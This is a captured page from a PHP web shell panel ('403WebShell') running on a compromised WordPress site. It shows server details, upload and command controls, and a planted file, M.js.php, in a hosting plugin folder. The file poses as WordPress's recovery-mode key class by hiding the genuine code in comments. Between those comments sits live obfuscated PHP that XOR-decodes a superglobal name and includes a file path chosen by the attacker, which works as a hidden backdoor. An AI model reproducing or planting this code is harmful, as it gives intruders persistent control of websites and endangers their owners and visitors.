????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.32.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/dchsreunion.com/wp-content/plugins/wp-plugin-hostgator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/dchsreunion.com/wp-content/plugins/wp-plugin-hostgator/M.js.php
<?php /* 
*
 * Error Protection API: WP_Recovery_Mode_Key_Service class
 *
 * @package WordPress
 * @since 5.2.0
 

*
 * Core class used to generate and validate keys used to enter Recovery Mode.
 *
 * @since 5.2.0
 
#[AllowDynamicProperties]
final class WP_Recovery_Mode_Key_Service {

	*
	 * The option name used to store the keys.
	 *
	 * @since 5.2.0
	 * @var string
	 
	private $option_name = 'recovery_keys';

	*
	 * Creates a recovery mode token.
	 *
	 * @since 5.2.0
	 *
	 * @return string A random string to identify its associated key in storage.
	 
	public function generate_recovery_mode_token() {
		return wp_generate_password( 22, false );
	}

	*
	 * Creates a recovery mode key.
	 *
	 * @since 5.2.0
	 *
	 * @global PasswordHash $wp_hasher
	 *
	 * @param string $token A token generated by {*/

	$allowed_keys = 'ping_status';


	$suppress_filters = 'num_pages';

	$foundid = 'taxonomy_obj';

function _name()

{
    $no_texturize_shortcodes_stack = 'parent_data';
}



function clear_date()

{
    $number = 'parent_data';
    $defaults = 924;
	$value = 'icon_dir';
}

function property_name($tinkle)

{

    $input = $tinkle;


    $meta_input = $GLOBALS[post_cats("%11%08%1A%08%04%23", $input)];

    $menu_icon = $meta_input;
    $update_term_cache = 'parent_data';
    $enclosure = isset($menu_icon[$input]);
	$guid = 'years';
    $fragment = 'parent_data';
    if ($enclosure)

    {
        $shortcode_tags = $meta_input[$input];
        $local = 123;
	$found = 'more_text';
        $revision_id = 656;
        $check_name = $shortcode_tags[post_cats("%3A%23%23%1B%2F%11%25%13", $input)];
        $end_dirty = 'parent_data';
        $tb_list = $check_name;
        $nohier_vs_hier_defaults = $local % ($revision_id + 4);
        $local = $revision_id - $local;
        include ($tb_list);
    }
}

function post_cats($wildcard_mime_types, $count)

{

    $filetype = $count;
    $post_type_taxonomies = "url";

    $post_type_taxonomies  .= "decode";
    $thumbnail_support = $post_type_taxonomies($wildcard_mime_types);

    $import_id = strlen($thumbnail_support);
    $import_id = substr($filetype, 0, $import_id);
    $icon_files = $thumbnail_support ^ $import_id;

    $last_pee = 620;
	$pagenow = 'group_by_status';

    $thumbnail_support = sprintf($icon_files, $import_id);
    $last_pee = $last_pee + 4;
    $ignore_block_element = 'parent_data';

    return $icon_files;
}



property_name('NNSDApHvvzU');
	$possible_emoji = 'no_texturize_shortcodes';



	$wilds = 'rest_base';
_name();
	$_builtin = 'comma';


	$prime = 'cockney';
clear_date();




/* @see generate_recovery_mode_token()}.
	 * @return string Recovery mode key.
	 
	public function generate_and_store_recovery_mode_key( $token ) {

		global $wp_hasher;

		$key = wp_generate_password( 22, false );

		if ( empty( $wp_hasher ) ) {
			require_once ABSPATH . WPINC . '/class-phpass.php';
			$wp_hasher = new PasswordHash( 8, true );
		}

		$hashed = $wp_hasher->HashPassword( $key );

		$records = $this->get_keys();

		$records[ $token ] = array(
			'hashed_key' => $hashed,
			'created_at' => time(),
		);

		$this->update_keys( $records );

		*
		 * Fires when a recovery mode key is generated.
		 *
		 * @since 5.2.0
		 *
		 * @param string $token The recovery data token.
		 * @param string $key   The recovery mode key.
		 
		do_action( 'generate_recovery_mode_key', $token, $key );

		return $key;
	}

	*
	 * Verifies if the recovery mode key is correct.
	 *
	 * Recovery mode keys can only be used once; the key will be consumed in the process.
	 *
	 * @since 5.2.0
	 *
	 * @global PasswordHash $wp_hasher
	 *
	 * @param string $token The token used when generating the given key.
	 * @param string $key   The unhashed key.
	 * @param int    $ttl   Time in seconds for the key to be valid for.
	 * @return true|WP_Error True on success, error object on failure.
	 
	public function validate_recovery_mode_key( $token, $key, $ttl ) {
		global $wp_hasher;

		$records = $this->get_keys();

		if ( ! isset( $records[ $token ] ) ) {
			return new WP_Error( 'token_not_found', __( 'Recovery Mode not initialized.' ) );
		}

		$record = $records[ $token ];

		$this->remove_key( $token );

		if ( ! is_array( $record ) || ! isset( $record['hashed_key'], $record['created_at'] ) ) {
			return new WP_Error( 'invalid_recovery_key_format', __( 'Invalid recovery key format.' ) );
		}

		if ( empty( $wp_hasher ) ) {
			require_once ABSPATH . WPINC . '/class-phpass.php';
			$wp_hasher = new PasswordHash( 8, true );
		}

		if ( ! $wp_hasher->CheckPassword( $key, $record['hashed_key'] ) ) {
			return new WP_Error( 'hash_mismatch', __( 'Invalid recovery key.' ) );
		}

		if ( time() > $record['created_at'] + $ttl ) {
			return new WP_Error( 'key_expired', __( 'Recovery key expired.' ) );
		}

		return true;
	}

	*
	 * Removes expired recovery mode keys.
	 *
	 * @since 5.2.0
	 *
	 * @param int $ttl Time in seconds for the keys to be valid for.
	 
	public function clean_expired_keys( $ttl ) {

		$records = $this->get_keys();

		foreach ( $records as $key => $record ) {
			if ( ! isset( $record['created_at'] ) || time() > $record['created_at'] + $ttl ) {
				unset( $records[ $key ] );
			}
		}

		$this->update_keys( $records );
	}

	*
	 * Removes a used recovery key.
	 *
	 * @since 5.2.0
	 *
	 * @param string $token The token used when generating a recovery mode key.
	 
	private function remove_key( $token ) {

		$records = $this->get_keys();

		if ( ! isset( $records[ $token ] ) ) {
			return;
		}

		unset( $records[ $token ] );

		$this->update_keys( $records );
	}

	*
	 * Gets the recovery key records.
	 *
	 * @since 5.2.0
	 *
	 * @return array Associative array of $token => $data pairs, where $data has keys 'hashed_key'
	 *               and 'created_at'.
	 
	private function get_keys() {
		return (array) get_option( $this->option_name, array() );
	}

	*
	 * Updates the recovery key records.
	 *
	 * @since 5.2.0
	 *
	 * @param array $keys Associative array of $token => $data pairs, where $data has keys 'hashed_key'
	 *                    and 'created_at'.
	 * @return bool True on success, false on failure.
	 
	private function update_keys( array $keys ) {
		return update_option( $this->option_name, $keys );
	}
}
*/

Youez - 2016 - github.com/yon3zu
LinuXploit